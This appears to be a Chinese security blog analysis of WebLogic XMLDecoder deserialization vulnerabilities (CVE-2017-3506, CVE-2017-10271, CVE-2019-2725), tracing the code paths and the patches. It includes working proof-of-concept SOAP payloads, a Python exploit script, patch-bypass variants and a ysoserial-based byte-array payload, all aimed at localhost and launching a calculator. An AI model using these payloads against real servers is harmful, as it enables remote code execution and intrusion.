主机:Win10
Java:Jdk1.7
Weblogic:10.3.6.0
调试器: IntelliJ IDEA
近些年来,weblogic被爆的漏洞越来越多,“大有”赶超 Structs2 的势头。在weblogic的远程代码执行漏洞中又以XMLDecoder和t3协议的反序列化漏洞比较多。下面我们针对XMLDecoder反序列化漏洞做个分析总结。涉及漏洞主要有以下三个:CVE-2017-3506、CVE-2017-10271、CVE-2019-2725。
下面我们先看一段简单的代码:
public static void main(String[] args) throws IOException { String path = System.getProperty("user.dir"); String pathXml = path + "//poc.xml"; File file = new File(pathXml); FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder xd = new XMLDecoder(bis); xd.readObject(); xd.close(); }
其中poc.xml内容如下:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object> </java>
运行程序,当代码执行xd.readObject()之后,弹出计算器。由此可知,我在使用XMLDecoder处理xml内容时,如果我们不对文件内容做过滤,就会造成任意代码执行漏洞,我们下面分析的weblogic漏洞就是这个原因。
对XMLDecoder为什么会造成任意代码执行漏洞有兴趣的,可以跟踪下XMLDecoder,readObject的流程,参考: http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
这里就不做过多说明。
作为一个weblogic小白,研究动态调试这个漏洞也是花了一番功夫。
首先,我们使用idea新建一个空工程,然后将wlserver_10.3的lib文件添加到项目中。如下图所示:
然后开启weblogic远程调试,我在D:/Oracle/Middleware/user_projects/domains/base_domain/bin/ setDomainEnv.cmd文件中加了一句话set debugFlag=true,然后启动domain就行了。
最后我们使用idea创建远程调试
然后调试运行该工程,如果idea console中出现
Connected to the target VM, address: ‘localhost:8453’, transport: ‘socket’
说明我们已经连接成功,可以远程调试了。
下面我们针对CVE-2017-3506漏洞下断点测试下,从网上其他文章分析,我们发送给
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType 的数据会流经
weblogic.wsee.jaxws.workcontext.processRequest()处理,所以我们在processRequest处下个断点。
然后运行poc.py
import requests headers = { 'Content-type': 'text/xml' } data_calc = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.7" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' def exp(ip): url_post = ip + "/wls-wsat/CoordinatorPortType" r = requests.post(url=url_post,data=data_calc,headers=headers) if __name__ == '__main__': ip = "http://127.0.0.1:7001" exp(ip)
可以看到程序已经断在我们下的断点处
我们知道该漏洞发生在 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType 处,对应的war在D:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
其web.xml配置如下:
<servlet> <servlet-name>CoordinatorPortTypeServlethttp</servlet-name> <servlet-class>weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl</servlet-class> <load-on-startup>0</load-on-startup> </servlet> <servlet-mapping> <servlet-name>CoordinatorPortTypeServlethttp</servlet-name> <url-pattern>/CoordinatorPortType</url-pattern> </servlet-mapping>
由此可知该漏洞发生在D:/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar中(这里可以自己写个程序遍历寻找该jar包)
Weblogic.jar中有两个类值得我们重点关注。
weblogic.wsee.workarea. WorkContextXmlInputAdapter
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
我们先看下WorkContextXmlInputAdapter,一眼就能看出来这和XMLDecoder处理有关。
public WorkContextXmlInputAdapter(InputStream var1) { this.xmlDecoder = new XMLDecoder(var1); } public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }
具备构成xmldecoder反序列化的条件。
我们再看下WorkContextServerTube,在这里对我们传送过去的数据做处理。
我们上节讲到在processRequest()函数下断点,这里我们动态跟踪下,程序进入processRequest
然后进入readHeaderOld
Var4就是我们传入得soap转化成xml后的数据。
WorkContextXmlInputAdapter ()中对传入得数据初始化了一个XMLDecoder实例。
this.xmlDecoder = new XMLDecoder(var1);
那是何时调用readObject触发发序列化漏洞的呢。问题就在this.receive(var6)中,如果我们继续跟踪该函数,数据处理流程如下:
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.receive(WorkContextInput var1)-> weblogic.workarea.WorkContextMapImpl.receiveRequest(WorkContextInput var1)-> weblogic.workarea.WorkContextLocalMap.receiveRequest(WorkContextInput var1)-> weblogic.workarea.spi.WorkContextEntryImpl.WorkContextEntry readEntry(WorkContextInput var0)
最后调用WorkContextXmlInputAdapter.readUTF()函数触发漏洞。
该漏洞是由于CVE-2017-3506漏洞打补丁不严谨造成的,我们先看下打完补丁后的代码,在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is){ ... ... validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray())); } private void validate(InputStream is){ WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try{ SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler(){ public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } }
可以看到validate()函数中仅仅是过滤了object对象。由网上的poc可知,我们只需要把CVE-2017-3506中的object换成void即可绕过该补丁,新poc如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.7" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
为什么把object换成void就能绕过呢,这里牵涉到xmldecoder的解析过程,我们这里简单提下,具体可参考本文第二小节。
Xmldecoder在解析xml文件时,对每个类型标签都定义了一个专门的类来处理
public DocumentHandler() { this.setElementHandler("java", JavaElementHandler.class); this.setElementHandler("null", NullElementHandler.class); this.setElementHandler("array", ArrayElementHandler.class); this.setElementHandler("class", ClassElementHandler.class); this.setElementHandler("string", StringElementHandler.class); this.setElementHandler("object", ObjectElementHandler.class); this.setElementHandler("void", VoidElementHandler.class); this.setElementHandler("char", CharElementHandler.class); this.setElementHandler("byte", ByteElementHandler.class); this.setElementHandler("short", ShortElementHandler.class); this.setElementHandler("int", IntElementHandler.class); this.setElementHandler("long", LongElementHandler.class); this.setElementHandler("float", FloatElementHandler.class); this.setElementHandler("double", DoubleElementHandler.class); this.setElementHandler("boolean", BooleanElementHandler.class); this.setElementHandler("new", NewElementHandler.class); this.setElementHandler("var", VarElementHandler.class); this.setElementHandler("true", TrueElementHandler.class); this.setElementHandler("false", FalseElementHandler.class); this.setElementHandler("field", FieldElementHandler.class); this.setElementHandler("method", MethodElementHandler.class); this.setElementHandler("property", PropertyElementHandler.class); }
处理void的类VoidElementHandler继承自处理object的类ObjectElementHandler,如下图,这两个类基本一样,所以xmldecoder对object标签和void标签的处理也基本一样。这也就是为什么poc中obect替换成void即可绕过补丁。
该漏洞的补丁如下
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。
CVE-2019-2725漏洞出现在 http://127.0.0.1:7001/_async/AsyncResponseService ,对象的文件是bea_wls9_async_response.war。该漏洞虽然和前两个漏洞的利用地址不同,但归根结底还是xmldecoder的漏洞,下面我们具体分析下。
首先我们需要找到AsyncResponseService对应的处理类,我们在bea_wls9_async_response中的weblogic-webservices.xml发现其对应的类为weblogic.wsee.async.AsyncResponseBean。
定位该类对应的jar文件(自己写个遍历程序即可):
H:/tools>java -jar findClassJar.jar weblogic.wsee.async.AsyncResponseBean D:/Oracle/Middleware/wlserver_10.3/server/lib
Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls9_async_response.war
Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar
Find weblogic.wsee.async.AsyncResponseBean in: D:/Oracle/Middleware/wlserver_10.3/server/lib/wseeclient.jar
最终把文件锁定在weblogic.jar(我看网上有的文章定位到wseeclient.jar,但是我跟踪的结果,数据最后还是流到weblogic.jar中)中。
如果我们仅对AsyncResponseBean类中函数下断点,发现程序并不能断下来。我们可以对wsee/async下所有类的方法都下断点,会发现程序断在了AsyncResponseHandler类的handleRequest函数中。
然后我们接着往下跟踪,但是这样其实必不能发下什么东西。这里我直接给出结果。
我们根据函数调用栈,向上走一层到HandlerIterator类中。该类有个函数handleRequest,这个函数就是我们分析该漏洞的关键所在。我们重新将断点下在这里。
从这里可以看出HandlerIterator会循环遍历处理21中handle,我们一开始下的断点AsyncResponseHandler就是第13个handler。粗略看下21种handler的名字,我们会发下第17中handler似曾相识,我们看下WorkAreaServerHandler的handleRequest函数。
WorkContextXmlInputAdapter对象实例化,很熟悉吧!,就是前两个漏洞出问题的地方。后面的流程就和前两个漏洞一样了,流程如下(这里借用别人一张图),
接下来的问题就是绕过CVE-2017-10271的补丁了。
这里顺便提下,网上的好多假poc。
形如<void class=”java.lang.ProcessBuilder”>这样的poc。
我们看下上节中提到的CVE-2017-10271的补丁,
可以看到,object,new,method这些标签都被拦截了,遇到直接抛出错误。void标签后面只能跟index,array标签后面可以跟class属性,但是类型只能是byte类型的。
所以void class这种形式肯定会被过滤的,那为什么这样的poc还能测试成功的,那是因为网上的好多模拟环境是没有打补丁的,oracle weblogic的补丁是收费的。
绕过这个黑名单的关键是class标签,可以从官方的文档来了解一下这个标签。
class标签可以表示一个类的实例,也就是说可以使用class标签来创建任意类的实例。而class标签又不在WebLogic 的黑名单之内,这才是这个漏洞最根本的原因。4月26日,Oracle 发布这个漏洞的补丁,过滤了class标签也证实了这点。
下面我们简答构造一个poc来测试我们的想法,
其中<wsa:Action>test</wsa:Action> <wsa:RelatesTo>test</wsa:RelatesTo>是用来绕过21个handler中AsyncResponseHandler的RelatesTo处理的。
<asy:onAsyncDelivery/>使用来绕过OperationLookupHandler处理的。
使用Python做个简单的监听器:
import socket host='' port=80 addr=(host,port) tcpSerSock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcpSerSock.bind(addr) tcpSerSock.listen(5) while True: tcpCliSock,client_addr=tcpSerSock.accept() print("a client is connecting...")
运行结果如下,漏洞触发:
由上可知,如果我们想要利用该漏洞,我们需要寻找一个类,该类有一个带参数构造函数,且构造函数中能针对我们传入得参数执行一定的操作。
这里列几个网上给出的类:
oracle.toplink.internal.sessions.UnitOfWorkChangeSet
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
有兴趣的可以自己试着做下利用。
这门这里讲下UnitOfWorkChangeSet的利用。
先看下该类:
UnitOfWorkChangeSet对象完成初始化过程后,使用ByteArrayInputStream对象接收经构造函数传入的字节数组,再将ByteArrayInputStream对象byteIn转换为ObjectInputStream对象objectIn,并直接调用了objectIn对象的readObject()方法。由于WebLogic安装包中默认SDK为1.6版本,在JDK版本<=JDK7u21前提下存在Java原生类反序列化漏洞,使用ysoserial工具生成恶意序列化对象(以计算器程序为例)。
java -jar ysoserial-master-66cda5a6cf-1.jar CommonsCollections1 calc.exe > payload.bin
我们写段简单的代码将二进制文件转为字节数组。
public static void bintobyte() throws IOException{ File file = new File("F://tools//payload.bin"); FileInputStream fis = new FileInputStream(file); ByteArrayOutputStream bos = new ByteArrayOutputStream(); int i; while ((i = fis.read()) != -1) { bos.write(i); } fis.close(); byte[] xmlbytes = bos.toByteArray(); String strPayload = "<array class=/"byte/" length=/"" + xmlbytes.length + "/">"; for (int j = 0; j < xmlbytes.length; j++){ strPayload +="<void index=/"" + String.valueOf(j) + "/"><byte>" + String.valueOf(xmlbytes[j]) + "</byte></void>"; } strPayload +="</array>"; System.out.println(strPayload); bos.close(); }
生成结果如下:
<array class="byte" length="1400"><void index="0"><byte>-84</byte></void><void index="1"><byte>-19</byte>......<void index="1399"><byte>58</byte></void></array>
发送payload
正常弹出计算器。
从CVE-2017-3506到CVE-2019-2725,漏洞基本上都是通过对补丁文件的绕过挖掘的,这也给我们提供了很好的思路。还有,在分析漏洞时一定要自己跟踪调试,方能认识的更清楚。
参考:
http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
https://www.cnblogs.com/0x4D75/p/8933028.html
https://paper.seebug.org/909/